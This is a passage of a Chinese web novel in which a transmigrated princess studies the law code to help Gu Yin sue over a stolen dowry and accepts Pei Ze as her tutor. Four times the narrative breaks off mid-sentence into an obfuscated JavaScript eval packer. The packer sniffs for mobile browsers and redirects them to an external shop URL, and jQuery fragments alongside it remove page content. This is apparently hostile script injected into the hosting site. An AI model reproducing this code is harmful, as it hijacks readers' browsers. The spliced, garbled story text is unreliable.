直到回到房间,崔玉凝才回过神来,感慨道:“风吹日晒催人老。” 这次赈灾想也知道不是一件容易事,那些官员知道他是太子身边的人一定会巴结恭维他,如果他顺从他们那日子一定过得舒舒服服。 可他好像过得一点都不好。 太子说,这是给他的历练。 他说裴聿修这一路都太顺了,他说裴聿修太理想了,他说裴聿修若是仅凭理想那只能做晏宁公主的驸马而不是裴则了。 刚才远远一面给她带来了极大的震撼,裴则好像变了个人,从高岭之花变成没有希望的打工人了,很有她当年上班时候的风姿。 跟上一次见面相比,裴则完全不像那个完美的纸片人了,倒很像…… 算了。崔玉凝摇摇头,想把自己的胡思乱想甩开。 “他来干什么?”崔玉凝问一直候在一旁的琅珠。 琅珠摇了摇头,又说:“可能是过来接裴小姐她们吧。” 说到这里她又忍不住小声抱怨:“裴小姐也真是的,小裴大人都回来了居然一句话都不说,有必要这么瞒着您嘛?” 崔玉凝闻言垂了眼眸,她知道琅珠说的是实话,是替小公主不平。 纵使她不想嫁给裴则,可至少明面上裴家人都知道裴则向皇上求娶公主,裴则回来了她们一句都不告诉她,是有多讨厌她啊。 小公主对她们那么好……还好现在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238747|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔玉凝在这里,不至于真情实感的难过。 想到这里她庆幸自己不会嫁给裴则了,一大家子人都不喜欢她,裴则也不喜欢她,想想这日子就很难过了。 …… 下了一夜的雨,第二天一早又是个大晴天。 夏天总是反复无常。 今天崔玉凝就等着顾家的人乖乖来把顾因接回去。 顾因一大早就来给她请安了,看起来也是期待的,这还是顾因住进公主府以后崔玉凝第一次见她这么高兴。 因为昨天一起玩得高兴,两个人就在花厅里多说了一会儿。 说到顾家的事,顾因显然有点焦虑:“殿下,如果他们不来怎么办?”这倒不是她不相信公主,而是她怕公主还有魏家姐妹低估了她父亲的无耻程度。 崔玉凝还在吃东西,这是琅珠遣人一大早就去樊楼买回来的冰淇淋,不同于之前公主府里做出来的冰酥酪,这是真正的冰淇淋,又香又甜。 人在尴尬的时候就会很忙,对于顾因的问题崔玉凝也不知道如何解答,只是一味地吃冰淇淋。 崔璟祁给她出主意的时候可没说顾家会厚脸皮到装作不知情,如果他们不肯主动归还,即便他们皇室也不可以插手别人的家事的,除非…… “你去告官。”崔玉凝想到办法了,虽然她不懂大晏律法,但是她记得一直都是有相关规定的,只是子告父可能官府不仅不会受理,顾因还要遭罪。 “你去告你继母。”想了半天她只能想到这个办法了,“你把你继母私吞财物的证据准备好。” 顾因一愣,看着晏宁公主突然一脸认真的强调,也认真道:“好,我听殿下的。” “如果今天他们没有来,你就早点回去,别让你父亲他们把证据都给销毁了。”崔玉凝强调,如果顾氏夫妇真就那么不要脸,那昨日举动反倒是打草惊蛇了。 顾因听得一愣一愣的,但很快就想通了其中关节,点点头:“殿下说的是,他们一定想不到我会去告官。” 说完顾因抿了下唇:“殿下,那顾因就先回去收拾东西了。” 崔玉凝点点头:“去吧,若是他们来了我会叫人去告知你。” …… 顾因走后,崔玉凝立刻又叫来了琅珠:“琅珠,府里有没有大晏律一类的书籍?” 琅珠闻言有些为难,公主平时也不爱看书,府里也没有什么藏书,只有先前陛下和太子殿下送来的一些书籍还有公主自己买的话本子,而且这些书从来没有人整理过,一拿来就堆进库房吃灰了。 礼单她倒是记得,可是单子上压根就没写书名,想也是皇上和太子都知道公主不会看书,只是随便叫人挑了些过来充门面的。 此刻琅珠只好回答:“可能是有的。” 崔玉凝奇怪道:“什么叫可能,没有的话就去书肆买回来。” 琅珠只好把前因后果解释了一遍,又补充道:“陛下和太子殿下送来的书都在库房,奴婢先叫人去搬出来,同时也遣人去书肆买。” 崔玉凝手里的冰淇淋还没吃完,对琅珠的方案她没有什么不满的,随意摆摆手道:“去吧去吧,不用太着急,地面湿滑叫他们都小心些。” 如果后面顾因真的要同顾家夫妇对簿公堂,那她可要帮帮她,虽然她的确不懂这里的弯弯绕绕,但是白纸黑字写下的律法不会骗人。 刚好,她很擅长。 14. 微臣斗胆做公主的夫子 公主府的下人每一个都训练有素动作很快,崔玉凝从花厅走回院子的功夫,那几大箱子书就搬到房门口了。 她慢悠悠走过去,随手从最上头那口箱子里捞了一本。 嗯,不太认识,好像是鸟什么传。 她表面云淡风轻地把书放回箱子上,心里早就慌了,小公主应该认识的字她怎么不认识呢? 小公主再不学无术也不可能不识字啊,她怎么完全没有这方面的记忆? 崔玉凝淡定的从几个翻箱找书的人身边路过。 “殿下,找到了。”珠儿从箱子里捧起一摞书,“应该都在这里了。” 身为公主身边的婢女,琅珠璎珞几人都是识字的,未来都会成为管事姑姑。若是她们一直留在宫里说不定还能成为女官。 小公主出宫建府的时候长乐宫的人都跟着出来了,只有几个嬷嬷还在宫里。 崔玉凝撑着下巴,心想这公主府人员构成倒是都很年轻。 “拿来给我看看。”她伸出手。 珠儿把那一摞书端端正正放到桌上,退后两步,垂着手出去了。 崔玉凝随手翻看了一下,发现大晏的法律规定还算详尽,分了不同部门,而且里面还有相当丰富的判例。 她找出封面写有“户婚”的一本,深呼吸,翻开,密密麻麻,但没有想象中那么难辨认。 以前上学的时候崔玉凝的室友是学汉语言的,连续两年的考试都要用繁体字作答,当时这个室友把输入法都改成繁体字,所以她认几个常用字没什么问题,认菜单也没什么问题。 “諸許嫁女已報婚書及有私約……”[1]崔玉凝小声地读着,随即又反应过来,“不对不对,这条不是。” 这书没有标点符号,而且还是竖版,她看得头大,她本能地想拿根笔记一下,手刚碰到笔,又想起来毛笔一画就糊了,她这一手狗爬字还是算了吧。 崔玉凝认命地一字一句地读下去,不知道过了多久。 守在外头的璎珞等了半天都没等到公主唤自己心里着急,刚好到了午膳时间,她轻轻推开房门,然后她愣住了。 她以为这辈子都不可能看到的画面居然真的发生了,她家公主居然真的在好好读书。 桌面上是摊开的一本又一本的书,公主读得认真,手指一顿一顿在纸面上划过,早上她们梳好的发髻也已经有些凌乱。 璎珞站在门口,进也不是退也不是,公主难得这么认真倒叫她不好意思了。 “怎么了?”崔玉凝抬起头看向璎珞,声音略带沙哑,眼神里还透着一股迷茫。 见公主还愿意理她立刻道:“殿下,该用膳了。” 闻言崔玉凝一怔,没想到时间过得这么快,她把手里那本书合上,往桌上一丢,伸了个懒腰,“那就摆膳吧。” 她可没有崔璟祁那么事儿,吃饭必须去小膳堂,问就是饭菜味道会沾染纸张。公主府吃饭向来是主子在哪儿饭就在哪儿。 崔玉凝往椅背上一靠,歪着身子,等着她们摆膳。 “是。”璎珞福身退了出去,这回还记得轻轻把门带上,一点儿声都没出。 吃饭的时候,璎珞一边替崔玉凝布菜,一边偷眼看她的脸色。见她吃得香,这才放了心,笑着道:“殿下今日好用功,贵妃娘娘和皇上知道了一定欢喜。” 崔玉凝正夹着一筷子肉往嘴里送,听了这话,手顿了顿,把肉塞进嘴里,嚼着嚼着,叹了口气:“可是我都看不懂。”她什么水平璎珞她们都知晓,看不懂也没什么好隐瞒的。 璎珞手上动作没停,又给她添了一筷子菜,认认真真地答道:“怎么会呢,殿下是最聪明的,从前裴太傅也经常夸您呢。” 这句话璎珞说得格外真诚,眼睛亮晶晶的,好像真的信了裴太傅夸她聪明。崔玉凝无语,封建社会的盲目崇拜要不得。 大概是见她一直没吭声,璎珞一边给她盛汤,一边试探着道:“殿下,若是您实在看不懂,不如去问问太子殿下吧。”反正公主找太子帮忙也不是一次两次了。 听到这句话崔玉凝瞬间清醒,她看不懂没关系,找个看得懂的老师不就行了! …… 东宫。 “阿兄,你怎么搬到这里来了?”崔玉凝站在东宫正殿,环顾四周只觉得空荡荡,看着怪寒酸的,“书房坏了吗?” 崔璟祁神色自若,他是真的习惯了妹妹有事就来没事就对他漠不关心的态度,语气淡淡,仔细听来还有一丝幽怨:“两个月前正殿房梁断了,工部修了两个月才修好。” 崔玉凝讪讪地摸了摸鼻子,干笑两声,不知道该接什么。赶紧步入正题:“阿兄,我最近在学习大晏律,但是有些读不懂,您能不能给我找个老师啊?” “你没事学这做什么?”崔璟祁淡淡看了她一眼,“字认全了吗?” “阿兄这就是你狭隘了,身为大晏的公主学习大晏的律法有什么问题。”崔玉凝顿了顿,“更何况说不定用得上呢。” 崔璟祁挑了挑眉,把笔往砚台上一搁,往椅背上一靠:“先前叫你随我一同去拜访裴太傅你又不肯。”他慢悠悠地说,“大晏律是裴太傅早年参与编纂的。除却裴太傅,孤还真想不到其他人。” 崔玉凝皱了皱眉,“可是我……”真实理由说不出口,只好瞎说:“这样也太打扰裴太傅了。” 闻言崔璟祁眉峰一挑看向小脸皱皱巴巴的崔玉凝,嘴角微微弯了弯:“怎会?若是裴太傅知道你主动学习,怕是欢喜地不得了,要日日来为你授课。” “……不好吧,裴太傅年纪大了,我这种学生太折腾他了。”崔玉凝在崔璟祁的注视下良久才憋出一句话。 兄妹俩僵持良久,准确的说是崔玉凝一个人僵持良久,崔璟祁早就不看她了,一副“我很忙你自己看着办”的架势。 “殿下,小裴大人来了。”喜乐挪着胖胖的身躯进来通传。 崔玉凝眼皮跳了跳,心下莫名有些不安,除了上个月裴则不在京城以外,其他时候还真是无处不在。 “微臣参见太子殿下、晏宁公主。”裴则跨进门来,端端正正行了个礼。 崔玉凝的眼皮又跳了一下。 崔璟祁也有些诧异,放下笔,玩笑道:“聿修何必多礼?像往常一样就好。” 崔玉凝终于知道自己在不安些什么了,裴则变得不一样了。 以前在这种私人场合他从来都不会特意行礼,进来就进来,坐下就坐下,顶多点个头……现在突然就变得很……规矩? 想到这里崔玉凝心下不安更甚,她参与了男主的因果,害得他不一样了。 “聿修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253179|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得正巧,孤同凝儿刚刚正说起裴太傅呢。”说完还看了眼崔玉凝,“凝儿你自己问。” 崔玉凝犹豫一瞬,正要开口,却见裴则垂下眼眸,目光暗了暗。 “本宫最近在学大晏律,想请教裴太傅。” 闻言裴则当即躬身作揖:“祖父近来偶感风寒,恐怕无法担起教导公主的重任。” 崔玉凝愣了一下。 崔璟祁也愣了一下,手里的笔搁下了:“裴太傅病了?孤怎么不知道。” “小病。”裴则淡淡道,两个字就把这个话题揭过去了。 “微臣斗胆做公主的夫子,不知是否可行?”裴则依旧淡淡,嘴上说着揽活的话,语气却好像事不关己。 几乎是在他话音落下的瞬间,崔玉凝毫不犹豫的拒绝:“不要!” “好。”崔璟祁已经替她答应了。 她猛地扭头,瞪向崔璟祁。 崔璟祁没看她,只是一副担忧的样子看向裴则。 裴则垂着眼,站在原地,脸上淡淡的,什么也看不出来。 崔玉凝的嘴张了又合,合了又张,最后还是什么都没说出来。 “那就多谢裴大人了。”崔玉凝冷冷道,她看都没看裴则一眼,说完转身就出了正殿。 不过这次她没有直接离开,而是拐进了偏殿。 偏殿里静悄悄的,宫女见她进来,忙不迭地上茶上点心。 日头西斜,茶喝了两盏,点心吃了半碟,崔玉凝等得都快要睡着。 “殿下,殿下。”喜乐躬着身,小声说,“小裴大人走了。” 崔玉凝揉了揉眼睛,站起身,理了理衣裳,往正殿走去。 崔璟祁还在处理奏折,听见脚步声才抬起头:“不走还有什么事?” 喜乐十分有眼力见地搬了把圈凳放在太子对面,崔玉凝顺势坐下,缓缓开口:“阿兄,你觉不觉得裴则变化很大。” 崔璟祁抬起头,斜睨了她一眼:“你在偏殿等了小半天,就为了问这个?” 他顿了顿开口解释:“此次赈灾处处凶险,聿修刚刚同孤讲过了。”说完又补充,“能全须全尾地回来,已是万幸。” “那他到底发生什么了?”崔玉凝实在是好奇,虽然早有预期,可裴则变化实在太大,这次回来居然都要主动跟她搭上边了。 崔璟祁似乎看穿了她的想法,当即道:“别想了,他不愿意只做驸马。” “那你为什么还要答应他做我的夫子?”崔玉凝小声控诉道。 崔璟祁自知理亏,不知道该怎么解释,末了,他往后一靠,摆摆手,语气里带了点无奈:“去东宫库房选一件首饰。” 崔玉凝:“……” 这是拿她当小孩子哄? 她想说点什么硬气的话,可话到嘴边又咽了回去。行吧,首饰就首饰,总比什么都没有强。 …… 崔玉凝回到公主府的时候天已经擦黑。 “顾府的人来过吗?”她问。 “没有。”门房摇摇头,想了想,又补充道,“未时末顾小姐走了。” “知道了。”崔玉凝冷声答道。 顾家比她想的还不要脸,上午魏家就来人传话了,结果快到申时还不行动,真想赖过去了。 [1]参考《唐律疏议》 15. 裴则? 裴府。 裴则从东宫回来后第一件事就是去松鹤院请安。 这次南下回来后裴老夫人心疼坏了,特地让自己身边的小丫头守在门口,好在第一时间知道他回家了。 松鹤院是裴老太傅跟裴老夫人的院子,裴则进院子的时候裴老夫人正在浇花,见他进来立刻把手中的水壶递给身边的丫鬟:“阿福,快来快来。” “祖母。”裴则满头黑线,该怎么跟祖母解释他已经及冠,不要再叫他的乳名了,刚刚他都看见小丫头憋不住笑了。 不过这些话只是想想,裴则顺从地跟着裴老夫人在正厅坐下。 裴老夫人坐在他的身边,吩咐道:“小荷,去把温在灶上的汤端过来。”一边又转过头嘱咐裴则,“阿福,祖母给你炖了汤,这段时间苦了你了,瘦了这么多一定要好好补补。” 裴则看着裴老夫人眼中的关心,点点头:“嗯,多谢祖母。” “哼,喝什么汤!”裴老太傅的声音从门外传来。 裴则起身行礼:“祖父。” “你眼里还有我这个祖父?又在外面编排我什么了。”裴老太傅的声音里掺着一丝怒意。 裴则抬眸,眼底是直白的疑惑:“什么?” 裴老太傅一言不发,从身后拿出一个精致的木盒摔在桌上,又负手背过身去。 “你这是做什么,老糊涂了?”裴老夫人见状也伸手拿起桌上的盒子,跟着重重一拍。 不知道是裴老夫人力道太大还是盒子经不住两次重击,盒盖滑开,盒子里的人参露出来了。 裴老太傅被她一吼,面子挂不住,气哼哼地指着裴则告状:“你问问你的好孙子!他在外头跟太子怎么说我的?他说我快不行了!” 裴则闻言不自在地清了清嗓子,耳根有点发烫,他大概知道这盒人参是谁送的了。 裴则解释道:“我今日去东宫的时候碰巧遇到晏宁公主在找夫子,当时太子想把她送到您这儿来……”说到这里他故意停顿了一下,眼风轻轻扫过裴太傅。 裴太傅果然开始顾左右而言他,捋着胡须望向别处,但嘴上依然冠冕堂皇:“我本就是晏宁公主的老师,教导公主是我分内之事。” 裴则笑了笑继续道:“公主想学习大晏律。祖父教了孙儿许多,故而孙儿教她就好。” 裴太傅依旧哼哼唧唧的,不过直接被裴老夫人打断了:“你教公主作甚?你忘了求娶公主只是权宜之计吗?公主叫你祖父去头疼就是了,你刚回来要多多休养。” “祖母,是我主动的。”裴则强调,裴老夫人对崔玉凝有偏见,他不想让她在这件事情上也被误会。 因着自家孙子再三强调,裴老夫人也不好多说什么,只是把气撒在裴太傅身上:“你这个没用的东西!” 裴太傅无辜被骂,气呼呼地一甩袖子,头也不回就走了。 这时汤也被端上来了,裴老夫人亲手端到裴则面前,慈爱地看着他:“阿福,这汤祖母炖了好久,你可要好好尝尝。” 裴则看了眼面前的汤碗,油花都被撇得很干净,他端过碗一口闷了这碗汤:“祖母,我喝完了,还有事我就先回去了。” 江澜院在裴府的东北角,离松鹤院最远。 裴则回到江澜院的时候决明已经先他一步回来安排好饭食了。 “少爷,先吃点东西吧。”决明说得小心翼翼,自从这次南下见过饿殍遍地的场面,别说是少爷就连他都不怎么吃得下饭。 这次回来后少爷瘦了太多,老夫人和夫人再三嘱咐一定要叫少爷好好吃饭,不然他也不会硬着头皮触少爷霉头。 “不吃了,我在松鹤院用过饭了。”裴则径直回了书房,没打算吃饭。 如果说之前他只是怀疑,那么今日他可以确定,崔玉凝就是那个人。 …… 翌日一早,崔玉凝特地起了个大早,一日之计在于晨! 她当然不是因为突然醒悟放弃睡懒觉了,只是要学的东西太多,如果熬到晚上又得点蜡烛,看得眼睛疼。 刚吃过早饭顾府就来人了,是顾因身边的人。 崔玉凝直接就让人进来了。 那人一进来就跪下,从怀里掏出一封信:“奴才参见公主殿下,殿下这是我家小姐要奴才带给您的信件。” 琅珠从那人手中接过信件,交给崔玉凝。 崔玉凝拆开信封,看到信上密密麻麻的娟秀自己又开始头疼,强迫着自己一个字一个字地往下读。 她读的很慢,但越看越觉得女主厉害,只是短短一个晚上就大致都查清楚了,连用嫁妆买的田宅地契写的是顾越的名字都查出来了。 读完,崔玉凝提笔准备写回信,只是一落笔就被自己的字丑到了。 她只好又让琅珠把刚刚那人叫回来,“回去告诉你家小姐,就说本宫已经知道了,叫她想办法收集证据,保护好人证,所有碰过嫁妆单子和嫁妆的人都提前保护起来,别让顾越他们提前买通了。” “是。”话音落下,琅珠就让人带他下去了。 人都离开后房里只剩崔玉凝和琅珠两个人,琅珠从一旁搬出一摞书:“殿下,这里就是您要的书了,记载了婚配内容的都在这里了。” 刚把这些书放到桌上,琅珠又从旁边搬出了一摞书:“只是昨日您说的断例实在是没有,青酒还去问了松酒,松酒说妻告夫是十恶不赦,所以从没有过这方面的断例。” 崔玉凝闻言翻了翻桌上的各种风俗笔记,没再说什么,她本来就不抱希望的。 “都搬到书房来。”崔玉凝吩咐道。 …… 七月初十。 崔玉凝睡得正香,耳边忽然传来璎珞的声音:“殿下,小裴大人来啦。” 她眼睛都没睁开,翻了个身:“……谁?” 事实证明要学的东西实在是太多了,饶是她昨天起了个大早,最后还是挑灯夜读了,到最后连蜡烛都换了两根。 虽然磕磕绊绊连蒙带猜,不过也算有收获,她现在已经基本上顺下来了,就是可惜那么大两箱子书里也没有本字典词典之类的,好多字的意思她都不确定。 被叫醒的时候崔玉凝感觉自己才刚睡下没多久,“璎珞,现在是什么时辰了?” 昨晚是琅珠守夜,所以璎珞也不知道公主到多晚才睡,只知道琅珠早上回去的时候都困得睁不开眼。平时公主睡得早,而且大多时候都是一觉到天亮的,她们也能跟着眯一会儿,困成这样倒是少见。 “殿下,现在还早呢,才辰时刚过。”璎珞压低声音温温柔柔地说。 “那么早?”崔玉凝连眼睛都不愿意睁开,但依旧皱着眉,“他不用上朝吗?” “殿下,今日休沐,小裴大人不用上值。”璎珞觉得裴则来这么早一定是迫不及待想见自家公主了,只是也忒没眼力见,以往跟着裴太傅读书的时候公主就从来没有准时到过,“那奴婢叫小裴大人在外面等一等?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263843|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯……”崔玉凝沉沉应声,又昏睡了过去。 得到答复后璎珞轻手轻脚地退出去了,辰时,何止是公主,几乎大半个公主府都睡得昏昏沉沉。 璎珞心道,以后小裴大人嫁进来天天起这么早,还得专门安排人伺候他,真麻烦。 正厅里,裴则正端坐在一旁,神色沉静,看不出情绪。 倒是决明站在他身后忍不住凑上前小声抱怨:“这公主府也真是的,怎么来了这么久连杯热茶都不上……” “闭嘴。”裴则知道是自己着急了。 这时璎珞从后面出来,福了福身:“裴大人,公主还在休息,麻烦裴大人再坐一会儿。” 话音刚落,决明就赶紧接上:“璎珞姐姐,府上可有热茶。” “决明!”裴则厉声制止。 璎珞一愣,这才注意到裴则手边空空如也,竟然连茶都没上。她脸色微变,匆匆一福:“是我的疏忽,劳烦裴大人稍等,茶马上就来。” 正厅旁边就是烧水间,一直都是有人值守的,不过自建府以来一直就派上过用场。 公主的客人大都是来参加宴会的,那时候的吃喝茶水都是大厨房一手包办的,平时更是只有公主一个主子,吃喝都在公主的小厨房里。 璎珞推门进去,烧水间里只有一个七八岁的小丫头在打瞌睡。 她上前拍了拍小丫头的脑袋:“别睡了,快点起来烧水,客人都等多久了。罚一个月月例。” “是。”小丫头听完后才知道外面来客人了。 璎珞安顿好前头,匆匆往回走,想着公主这会儿应该已经醒了。 崔玉凝这边的确醒了,在她把璎珞打发走以后她就醒了,被自己的胆大妄为吓醒的。 她怎么敢晾着男主啊?! 她一下子就清醒了,用最快的速度穿好了衣服。 璎珞回来的时候就看见公主坐在梳妆镜前摆弄自己的头发,赶紧上前接过梳子:“公主,奴婢来吧。” 崔玉凝叹了口气:“裴则怎么样,有没有生气?” 璎珞闻言低下头,掩着嘴轻轻笑了一声:“小裴大人怎么会生气呢?方才奴婢过去的时候连茶水都没上也没见小裴大人有不高兴的神色。” 说完见崔玉凝松了口气又特意补充道:“小裴大人这么早就过来是心里有您呢。” 闻言崔玉凝只能呵呵一笑,小丫头根本就不懂她跟裴则之间的恩怨情仇。 没记错的话上个月他俩最后一次见面裴则跟她说什么来着,“多谢晏宁公主”。 他那是真的感谢嘛!显然他就不想去赈灾,这次回来以后看着就过得很差,这么早来是来找她算账的吧。 心里这么想,崔玉凝手上也没闲着,璎珞给她梳头发的时候她还在整理昨天写过的纸张,一会儿都要拿过去问问裴则。 好歹是探花郎,不问白不问。 …… 等崔玉凝收拾完已经辰时过半了,裴则耐心地等着,茶水都喝了两杯。 “微臣参见晏宁公主。”崔玉凝一出来裴则就起身行礼。 “裴大人不必多礼,快请起吧。”崔玉凝有些不习惯裴则这副乖乖的模样,他以前虽然也很有礼节,但是没那么“恭顺”。 “君臣之礼不可废。”裴则垂着眼淡淡道。 “都好都好,那就开始吧。”崔玉凝想赶紧结束这段尴尬的对话,“东西都在书房,裴大人跟本宫一起移步书房吧。” 16. 做男女主的媒人 崔玉凝带着裴则往书房走,一推开门就后悔了。 昨天熬得太晚,琅珠她们没得吩咐也不敢擅自收拾,散在桌面上的书册和纸张,有不少她昨夜写下的草稿。 这些东西是绝对不能让人看见的。 她下意识往门前一挡,转身仰头看向裴则:“裴大人在这里稍等我一会儿可好?书房有些乱,我要先整理一下。” 裴则点点头,刚想说好,忽而又想起什么:“殿下不必介怀,你我同窗之谊,微臣对殿下的习惯多少心中有数。” 崔玉凝一怔,抓住他刚才的点头:“既然如此,那就麻烦裴大人等我一会儿。” 说罢转身推门进去。 昨晚为了让墨迹快干,她把纸铺得到处都是,好在都摊在桌面上,收拾起来不麻烦。 崔玉凝把这些草稿通通归拢到抽屉后又检查了一下,确认桌面上没有纰漏,这才重新拉开门:“裴大人,请进。” 裴则随她身后步入书房。 书房内整洁有序,井井有条,陈设分明,绝非仓促之间能收拾出来的。 他微微挑眉,有些意外,没记错的话晏宁公主一直都很“随性”。 崔玉凝在书桌后落座,抬手示意:“裴大人快坐吧。” 裴则依言在她对面坐下,目光不经意掠过书案,律法书籍摆了一摞又一摞,公主倒是真的在学。他收回视线,面色如常。 崔玉凝却浑然不觉。她装模作样地在案上翻寻起来,翻了片刻,眉头微蹙,自言自语道:“东西呢?” 不等裴则反应,又抬头看向站在一旁的璎珞:“我的手稿在哪里?” 被点到的璎珞一愣,她作为公主的贴身侍女,只要公主一个眼神就知道她想做什么,只一刹那就立刻反应过来:“奴婢不清楚。” “这也不清楚那也不清楚,我自己找。”崔玉凝起身就走,走得时候还带上了璎珞。 裴则看着主仆二人一前一后出了书房,倒不觉得奇怪,崔玉凝向来如此。 拐过走廊,玉凝立刻压低声音问:“顾因到了吗?” 刚才崔玉凝醒来以后就想到要把顾因叫过来,这是一个撮合男女主的好机会。 既然男女主一定会在一起,那她想搏一搏“媒人”这个名头,在两个人那里拿下一份好感。 “还没呢,没想到裴大人来得这样早。方才您吩咐完,徐树就去接了。”璎珞同样压低声音,面露不解,“殿下为何要请顾小姐过来?小裴大人不是专程来教您的吗?” 这个问题把崔玉凝问住了,但还是给出了解释,依旧带着公主的骄纵:“本公主学习律法就是为了顾因,难道我还要做他们二人的传声筒吗?” 裴则来得实在太早。崔玉凝以己度人,料想顾因那边大约也才刚起身。 “等她来了,直接带到书房。”她吩咐道。 “是。”璎珞点点头,转身往正厅去了。 …… 另一边的书房,在崔玉凝和璎珞走后,决明就按捺不住小声嘀咕:“公主怎么又走了?这也太不把您当回事了吧!找个手稿而已,让璎珞去不就行了?” 裴则端坐原位,指尖拂过桌上的书籍,却忍住了没有直接拿起翻看。 “你今日话怎么这么多?”他语气淡淡,连眼皮都没抬一下。 决明瞬间哑口,他最怕自家少爷这副模样,只敢小声嘟囔着:“那您又不上心公主,还起这么早过来做什么……” 话音未落,便觉一道目光扫了过来。 决明立刻低头闭嘴,大气都不敢出。 裴则收回视线,目光落在窗外,不知道在想什么。 …… 崔玉凝没等璎珞自己拿着刚刚整理好的手稿就回来了,书房一直有人守着,她倒是不担心外人在书房做什么。 推门而入时,她下意识扫了一眼屋内,主仆二人还是刚刚离开时那副模样。 “裴大人久等。”她扬起笑脸,见他要起身,摆摆手示意他坐下,“不必多礼。” 裴则不动了,只是目光落在她手中那叠纸上,又默默移开。 崔玉凝落座后,并不着急把手里那叠草稿拿出来,反而放在一旁。她看向裴则,语气里带着几分刻意:“裴大人今日怎得不说话?” 裴则抬眼。 那一眼淡淡的,平静的,毫无波澜的。 “公主想说什么?”他问。 声音也是淡的,他在等他的下文。 “本公主想说,”崔玉凝毫不犹豫地回看裴则对上他那毫无波澜的眸子,语气里都染上了几分骄纵,“一会儿还有人要来,裴大人要好好帮帮人家。” 裴则闻言,眉头微微一动,带着一丝几不可察的了然,他没有立刻接话,只是将目光缓缓移向她手边那叠草稿。 “看来殿下并无疑难,”他开口,声音平平的,没什么起伏,“也并非真心想学律法。” 他顿了顿,袖口微动,作势起身。 “那裴某便先告辞了。” 崔玉凝一噎。 她就说裴则现在很奇怪! 她深吸一口气,把手中的草稿铺在两人之间,语气生硬道:“这就是本宫整理出来的疑难了。”这些东西她昨晚特地工工整整的重新誊抄了一遍。 裴则垂眸看去,没有再提告辞的事情,只是抬手将那叠纸移近了些。 日光从窗棂斜进来,洒在纸上,纸上工工整整写了很多问题。 看到字迹的时候裴则忍不住眉心一跳,这的确是小公主的字迹没错。 崔玉凝的字是他跟太子教出来的,他们第一次做老师教的不算好,加上小公主三天打鱼两天晒网,最后她的字体像极了他。 今日他原本的计划就是探听一下崔玉凝的虚实,这会儿看着熟悉的字体他又不确定了。 其实在他当年第一次得知小公主叫“崔玉凝”的时候就试探过,樊楼如今风靡全大晏的糕点前身就是他当年为了试探崔玉凝的产物。 若崔玉凝是崔玉凝,或者跟他一样,就会来找他。 可她没有,她吃得欢喜,而且看起来更喜欢他了。 “裴大人也不会吗?”崔玉凝见裴则沉默着故意调侃道。 崔玉凝的声音将他从思绪中拉回来,裴则抬眼,语气如常:“緦麻是一种丧服,殿下贵为公主,无需穿着。” “……”崔玉凝一噎,飞快地眨了眨眼。 她知道裴则是在给她解释,只是懊恼自己把学过的东西都还给老师了,担心自己作为一个“大晏人”连最基本的丧葬制度都不知道。 “哦……”她拖长了尾音,讪讪地应了一声。 她状似不经意地瞥向裴则,还好他看起来没什么异样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296065|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔玉凝悄悄松了口气,但又怕再露馅,想把草稿从他手上拿回来:“劳烦裴大人把东西还给我,本公主想做笔记。” 不知道为何今日裴则格外好说话,直接就把纸递还给她。 “殿下想问什么,直说便……” “殿下,顾小姐来了。” 正当两人说着,门外传来璎珞的通禀声。璎珞没忘了公主的吩咐,直接就带着顾因到书房来了。 裴则话音顿住。 …… 顾因进门的时候就见到身穿玄色暗纹直裰与绛红色缠枝牡丹纹褙子的两人相对而坐,一冷一艳,格外相配。 顾因微微一怔,旋即福身:“见过公主殿下。” 她今日穿得素净,一身月白色裙装,跟那两人相比像是误入的外人。 崔玉凝抬手笑盈盈道:“起来起来,快来坐。” 待顾因走近,她顺势介绍:“这是裴则裴大人,他于律法十分精通,那桩事,本宫担心传话说不明白,索性直接叫接你过来了。” 裴则瞥她一眼,没说话。 顾因并不在意他的冷待,京中没有小娘子不知道裴则,大家都知道裴则是晏宁公主的未婚夫婿,更清楚连晏宁公主在他那里都不一定能得个好脸。她转向他又是一福:“多谢裴大人。” 裴则一颔首,算是应了。 